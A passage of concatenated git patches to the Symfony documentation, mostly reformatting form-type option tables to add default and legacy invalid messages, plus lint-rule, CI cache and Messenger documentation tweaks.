+|                           | - `help`_                                                         |
+|                           | - `help_attr`_                                                    |
+|                           | - `help_html`_                                                    |
+|                           | - `label`_                                                        |
+|                           | - `label_attr`_                                                   |
+|                           | - `label_format`_                                                 |
+|                           | - `mapped`_                                                       |
+|                           | - `required`_                                                     |
+|                           | - `row_attr`_                                                     |
+|                           | - `trim`_                                                         |
++---------------------------+-------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid URL.                                         |
++---------------------------+-------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                               |
++---------------------------+-------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
++---------------------------+-------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
++---------------------------+-------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -49,6 +55,11 @@ If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when
 the data is submitted to the form.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index 6967df09bb7..eb526c160af 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -10,39 +10,43 @@ This field type allows the user to modify data that represents a specific
 Can be rendered as a text input or select tags. The underlying format of
 the data can be a string or an array.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be a string, or array (see the ``input`` option)                        |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | single text box, two text boxes or two select fields                        |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `placeholder`_                                                            |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `widget`_                                                                 |
-|                      | - `weeks`_                                                                  |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `compound`_                                                               |
-|                      | - `empty_data`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType`          |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------+
+| Underlying Data Type      | can be a string, or array (see the ``input`` option)               |
++---------------------------+--------------------------------------------------------------------+
+| Rendered as               | single text box, two text boxes or two select fields               |
++---------------------------+--------------------------------------------------------------------+
+| Options                   | - `choice_translation_domain`_                                     |
+|                           | - `placeholder`_                                                   |
+|                           | - `html5`_                                                         |
+|                           | - `input`_                                                         |
+|                           | - `widget`_                                                        |
+|                           | - `weeks`_                                                         |
+|                           | - `years`_                                                         |
++---------------------------+--------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                      |
+|                           | - `empty_data`_                                                    |
+|                           | - `error_bubbling`_                                                |
+|                           | - `invalid_message`_                                               |
++---------------------------+--------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                          |
+|                           | - `data`_                                                          |
+|                           | - `disabled`_                                                      |
+|                           | - `help`_                                                          |
+|                           | - `help_attr`_                                                     |
+|                           | - `help_html`_                                                     |
+|                           | - `inherit_data`_                                                  |
+|                           | - `invalid_message_parameters`_                                    |
+|                           | - `mapped`_                                                        |
+|                           | - `row_attr`_                                                      |
++---------------------------+--------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid week.                                         |
++---------------------------+--------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                |
++---------------------------+--------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
++---------------------------+--------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType` |
++---------------------------+--------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -138,6 +142,8 @@ error_bubbling
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -157,8 +163,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc

From 3daed4a14bfeafe81b4af834778b3ff81b758dfe Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 20 Nov 2020 09:02:29 +0100
Subject: [PATCH 0152/5766] Enhancement: New rule for DOCtor-RST

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 52a1fc2ba4a..22269873776 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -20,6 +20,7 @@ rules:
     no_blank_line_after_filepath_in_yaml_code_block: ~
     no_brackets_in_method_directive: ~
     no_composer_req: ~
+    no_directive_after_shorthand: ~
     no_explicit_use_of_code_block_php: ~
     no_inheritdoc: ~
     no_namespace_after_use_statements: ~

From 92477a8754a84b4518234bfdd28c5fbd793a0e81 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 20 Nov 2020 09:13:15 +0100
Subject: [PATCH 0153/5766] Enhancement: Use actions/cache v2

cc @smoench
---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index dd7599889d0..881b171ce10 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -98,7 +98,7 @@ jobs:
                 id: extract_base_branch
 
             -   name: "Cache DOCtor-RST"
-                uses: actions/cache@v1
+                uses: actions/cache@v2
                 with:
                     path: .cache
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}

From ff816cadc7ef69791ae3cff961055824df2e5c4e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 20 Nov 2020 09:45:20 +0100
Subject: [PATCH 0154/5766] Enhancement: New rule for DOCtor-RST

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 22269873776..59971c508f4 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -6,6 +6,7 @@ rules:
     composer_dev_option_not_at_the_end: ~
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
+    ensure_exactly_one_space_between_link_definition_and_link: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
     extension_xlf_instead_of_xliff: ~

From 289ca7c128f4c413f75a0606cc54f9833130e5c1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 20 Nov 2020 10:08:28 +0100
Subject: [PATCH 0155/5766] Fix: DOCtor-RST build

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 2fb102a0fcc..b46a3f7760d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1616,5 +1616,5 @@ Then configure Symfony to use your callback:
 .. _`amphp/http-client`: https://packagist.org/packages/amphp/http-client
 .. _`cURL options`: https://www.php.net/manual/en/function.curl-setopt.php
 .. _`Server-sent events`: https://html.spec.whatwg.org/multipage/server-sent-events.html
-.. _`EventSource`:  https://www.w3.org/TR/eventsource/#eventsource
-.. _`idempotent method`:  https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods_and_web_applications
+.. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource
+.. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods_and_web_applications

From 12fff0cf5ec2a195709c5ac1ccbad8e04da6bef1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 20 Nov 2020 09:45:20 +0100
Subject: [PATCH 0156/5766] Enhancement: New rule for DOCtor-RST

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 5c4fadeb132..94d88088d52 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -6,6 +6,7 @@ rules:
     composer_dev_option_not_at_the_end: ~
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
+    ensure_exactly_one_space_between_link_definition_and_link: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
     extension_xlf_instead_of_xliff: ~

From 26dfa839ad7242522a97968096403c5801852424 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Timoth=C3=A9e=20Barray?= <tim@amicalement-web.net>
Date: Fri, 20 Nov 2020 14:01:55 +0100
Subject: [PATCH 0157/5766] [Messenger] Add mention about serialize in inMemory
 transport dsn

---
 messenger.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index ac07b40c624..e5a4da76cf9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1295,6 +1295,15 @@ during a request::
         :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
         or :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`.
 
+.. tip::
+
+    Using ``in-memory://?serialize=true`` as dsn will perform message serialization as real asynchronous transport will do.
+    Useful to test an additional layer, especially when you use your own message serializer.
+
+.. versionadded:: 5.3
+
+    The ``in-memory://?serialize=true`` dsn was introduced in Symfony 5.3.
+
 Amazon SQS
 ~~~~~~~~~~
 

From 0ccfa6e913782c1788e08032ebfcf14968e72b96 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Nov 2020 15:55:35 +0100
Subject: [PATCH 0158/5766] Tweaks

---
 forms.rst                              | 8 +++-----
 reference/forms/types/birthday.rst     | 4 ++--
 reference/forms/types/checkbox.rst     | 4 ++--
 reference/forms/types/choice.rst       | 4 ++--
 reference/forms/types/collection.rst   | 4 ++--
 reference/forms/types/color.rst        | 4 ++--
 reference/forms/types/country.rst      | 4 ++--
 reference/forms/types/currency.rst     | 4 ++--
 reference/forms/types/date.rst         | 4 ++--
 reference/forms/types/dateinterval.rst | 4 ++--
 reference/forms/types/datetime.rst     | 4 ++--
 reference/forms/types/email.rst        | 4 ++--
 reference/forms/types/file.rst         | 4 ++--
 reference/forms/types/form.rst         | 4 ++--
 reference/forms/types/hidden.rst       | 4 ++--
 reference/forms/types/integer.rst      | 4 ++--
 reference/forms/types/language.rst     | 4 ++--
 reference/forms/types/locale.rst       | 4 ++--
 reference/forms/types/money.rst        | 4 ++--
 reference/forms/types/number.rst       | 4 ++--
 reference/forms/types/password.rst     | 4 ++--
 reference/forms/types/percent.rst      | 4 ++--
 reference/forms/types/radio.rst        | 4 ++--
 reference/forms/types/range.rst        | 4 ++--
 reference/forms/types/repeated.rst     | 4 ++--
 reference/forms/types/search.rst       | 4 ++--
 reference/forms/types/tel.rst          | 4 ++--
 reference/forms/types/time.rst         | 4 ++--
 reference/forms/types/timezone.rst     | 4 ++--
 reference/forms/types/url.rst          | 4 ++--
 reference/forms/types/week.rst         | 4 ++--
 31 files changed, 63 insertions(+), 65 deletions(-)

diff --git a/forms.rst b/forms.rst
index 6e2c9ec5120..8635b8fedbd 100644
--- a/forms.rst
+++ b/forms.rst
@@ -555,10 +555,9 @@ learn more about the validation constraints, please refer to the
 
 .. versionadded:: 5.2
 
-    Validation messages for forms have been rewritten to be more user-friendly.
-    These newer messages can be enabled by setting the `legacy_error_messages`
-    option to "false". Details about these messages can be found in the corresponding
-    form type documentation.
+    In Symfony 5.2, the form validation messages have been rewritten to be more
+    user-friendly. Set the ``legacy_error_messages`` option to ``false`` to
+    enable these new messages:
 
     .. configuration-block::
 
@@ -595,7 +594,6 @@ learn more about the validation constraints, please refer to the
                 ],
             ]);
 
-
 Other Common Form Features
 --------------------------
 
diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 127528bc774..94cff698cb4 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -49,9 +49,9 @@ option defaults to 120 years ago to the current year.
 |                           | - `mapped`_                                                                   |
 |                           | - `row_attr`_                                                                 |
 +---------------------------+-------------------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid birthdate.                                               |
+| Default invalid message   | Please enter a valid birthdate.                                               |
 +---------------------------+-------------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                           |
+| Legacy invalid message    | The value {{ value }} is not valid.                                           |
 +---------------------------+-------------------------------------------------------------------------------+
 | Parent type               | :doc:`DateType </reference/forms/types/date>`                                 |
 +---------------------------+-------------------------------------------------------------------------------+
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index 1463c542a1e..d4fdd17580c 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -36,9 +36,9 @@ if you want to handle submitted values like "0" or "false").
 |                           | - `required`_                                                          |
 |                           | - `row_attr`_                                                          |
 +---------------------------+------------------------------------------------------------------------+
-| Default `invalid_message` | The checkbox has an invalid value.                                     |
+| Default invalid message   | The checkbox has an invalid value.                                     |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
 +---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
 +---------------------------+------------------------------------------------------------------------+
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index d0c81a829bd..affcce9ab54 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -52,9 +52,9 @@ To use this field, you must specify *either* ``choices`` or ``choice_loader`` op
 |                           | - `attr_translation_parameters`_                                     |
 |                           | - `help_translation_parameters`_                                     |
 +---------------------------+----------------------------------------------------------------------+
-| Default `invalid_message` | The selected choice is invalid.                                      |
+| Default invalid message   | The selected choice is invalid.                                      |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
 +---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index a30cc250f6f..9e1eb170933 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -40,9 +40,9 @@ photos).
 |                           | - `required`_                                                            |
 |                           | - `row_attr`_                                                            |
 +---------------------------+--------------------------------------------------------------------------+
-| Default `invalid_message` | The collection is invalid.                                               |
+| Default invalid message   | The collection is invalid.                                               |
 +---------------------------+--------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                      |
+| Legacy invalid message    | The value {{ value }} is not valid.                                      |
 +---------------------------+--------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                            |
 +---------------------------+--------------------------------------------------------------------------+
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index f3d97c6cd1b..6bbc28da2a7 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -38,9 +38,9 @@ element.
 |                           | - `row_attr`_                                                       |
 |                           | - `trim`_                                                           |
 +---------------------------+---------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid color.                                        |
+| Default invalid message   | Please select a valid color.                                        |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
 +---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index a2b1527764e..10cf652947a 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -54,9 +54,9 @@ the option manually, but then you should just use the ``ChoiceType`` directly.
 |                           | - `required`_                                                         |
 |                           | - `row_attr`_                                                         |
 +---------------------------+-----------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid country.                                        |
+| Default invalid message   | Please select a valid country.                                        |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                   |
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
 +---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                     |
 +---------------------------+-----------------------------------------------------------------------+
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index e8628aa3edf..e28b39c328a 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -45,9 +45,9 @@ manually, but then you should just use the ``ChoiceType`` directly.
 |                           | - `required`_                                                          |
 |                           | - `row_attr`_                                                          |
 +---------------------------+------------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid currency.                                        |
+| Default invalid message   | Please select a valid currency.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
 +---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index fa696007803..5a12ad24b9c 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -46,9 +46,9 @@ and can understand a number of different input formats via the `input`_ option.
 |                           | - `mapped`_                                                                 |
 |                           | - `row_attr`_                                                               |
 +---------------------------+-----------------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid date.                                                  |
+| Default invalid message   | Please enter a valid date.                                                  |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                         |
+| Legacy invalid message    | The value {{ value }} is not valid.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
 +---------------------------+-----------------------------------------------------------------------------+
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 69147d95bee..5248ca88739 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -50,9 +50,9 @@ or an array (see `input`_).
 |                           | - `mapped`_                                                                      |
 |                           | - `row_attr`_                                                                    |
 +---------------------------+----------------------------------------------------------------------------------+
-| Default `invalid_message` | Please choose a valid date interval.                                             |
+| Default invalid message   | Please choose a valid date interval.                                             |
 +---------------------------+----------------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                              |
+| Legacy invalid message    | The value {{ value }} is not valid.                                              |
 +---------------------------+----------------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                                    |
 +---------------------------+----------------------------------------------------------------------------------+
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index ca61be3e538..e742048fd24 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -55,9 +55,9 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 |                           | - `mapped`_                                                                 |
 |                           | - `row_attr`_                                                               |
 +---------------------------+-----------------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid date and time.                                         |
+| Default invalid message   | Please enter a valid date and time.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                         |
+| Legacy invalid message    | The value {{ value }} is not valid.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
 +---------------------------+-----------------------------------------------------------------------------+
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 31d6f5db90b..3dfe77db44f 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -29,9 +29,9 @@ The ``EmailType`` field is a text field that is rendered using the HTML5
 |                           | - `row_attr`_                                                       |
 |                           | - `trim`_                                                           |
 +---------------------------+---------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid email address.                                 |
+| Default invalid message   | Please enter a valid email address.                                 |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
 +---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index f745c9bc1fd..50bc55fee88 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -30,9 +30,9 @@ The ``FileType`` represents a file input in your form.
 |                           | - `required`_                                                      |
 |                           | - `row_attr`_                                                      |
 +---------------------------+--------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid file.                                        |
+| Default invalid message   | Please select a valid file.                                        |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                |
+| Legacy invalid message    | The value {{ value }} is not valid.                                |
 +---------------------------+--------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
 +---------------------------+--------------------------------------------------------------------+
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index e406413bf37..9e1a5d47227 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -48,9 +48,9 @@ on all types for which ``FormType`` is the parent.
 |                           | - `label_translation_parameters`_                                  |
 |                           | - `attr_translation_parameters`_                                   |
 +---------------------------+--------------------------------------------------------------------+
-| Default `invalid_message` | This value is not valid.                                           |
+| Default invalid message   | This value is not valid.                                           |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy `invalid_message`  | This value is not valid.                                           |
+| Legacy invalid message    | This value is not valid.                                           |
 +---------------------------+--------------------------------------------------------------------+
 | Parent                    | none                                                               |
 +---------------------------+--------------------------------------------------------------------+
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index f0bddfa4260..00e858303bf 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -22,9 +22,9 @@ The hidden type represents a hidden input field.
 |                           | - `property_path`_                                                   |
 |                           | - `row_attr`_                                                        |
 +---------------------------+----------------------------------------------------------------------+
-| Default `invalid_message` | The hidden field is invalid.                                         |
+| Default invalid message   | The hidden field is invalid.                                         |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
 +---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 7eb32abf7f9..db774ec2ce9 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -39,9 +39,9 @@ integers. By default, all non-integer values (e.g. 6.78) will round down
 |                           | - `required`_                                                         |
 |                           | - `row_attr`_                                                         |
 +---------------------------+-----------------------------------------------------------------------+
-| Default `invalid_message` | Please enter an integer.                                              |
+| Default invalid message   | Please enter an integer.                                              |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                   |
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
 +---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 420ab1b59a0..f74016d1a0c 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -57,9 +57,9 @@ manually, but then you should just use the ``ChoiceType`` directly.
 |                           | - `required`_                                                          |
 |                           | - `row_attr`_                                                          |
 +---------------------------+------------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid language.                                        |
+| Default invalid message   | Please select a valid language.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
 +---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index be6dde7e950..bab466d262f 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -56,9 +56,9 @@ manually, but then you should just use the ``ChoiceType`` directly.
 |                           | - `required`_                                                        |
 |                           | - `row_attr`_                                                        |
 +---------------------------+----------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid locale.                                        |
+| Default invalid message   | Please select a valid locale.                                        |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
 +---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
 +---------------------------+----------------------------------------------------------------------+
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index ca7a5aceac7..162d8543b20 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -41,9 +41,9 @@ how the input and output of the data is handled.
 |                           | - `required`_                                                       |
 |                           | - `row_attr`_                                                       |
 +---------------------------+---------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid money amount.                                  |
+| Default invalid message   | Please enter a valid money amount.                                  |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
 +---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                       |
 +---------------------------+---------------------------------------------------------------------+
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 319c84b951e..99d80628d33 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -37,9 +37,9 @@ that you want to use for your number.
 |                           | - `required`_                                                        |
 |                           | - `row_attr`_                                                        |
 +---------------------------+----------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a number.                                               |
+| Default invalid message   | Please enter a number.                                               |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
 +---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 10b38a5ac8b..18be51b396f 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -29,9 +29,9 @@ The ``PasswordType`` field renders an input password text box.
 |                           | - `required`_                                                          |
 |                           | - `row_attr`_                                                          |
 +---------------------------+------------------------------------------------------------------------+
-| Default `invalid_message` | The password is invalid.                                               |
+| Default invalid message   | The password is invalid.                                               |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
 +---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                          |
 +---------------------------+------------------------------------------------------------------------+
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 3dd47e1d320..36ffdcc1e1b 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -41,9 +41,9 @@ the input.
 |                           | - `required`_                                                         |
 |                           | - `row_attr`_                                                         |
 +---------------------------+-----------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a percentage value.                                      |
+| Default invalid message   | Please enter a percentage value.                                      |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                   |
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
 +---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index 579dab0bc1d..93fbe3ecfd9 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
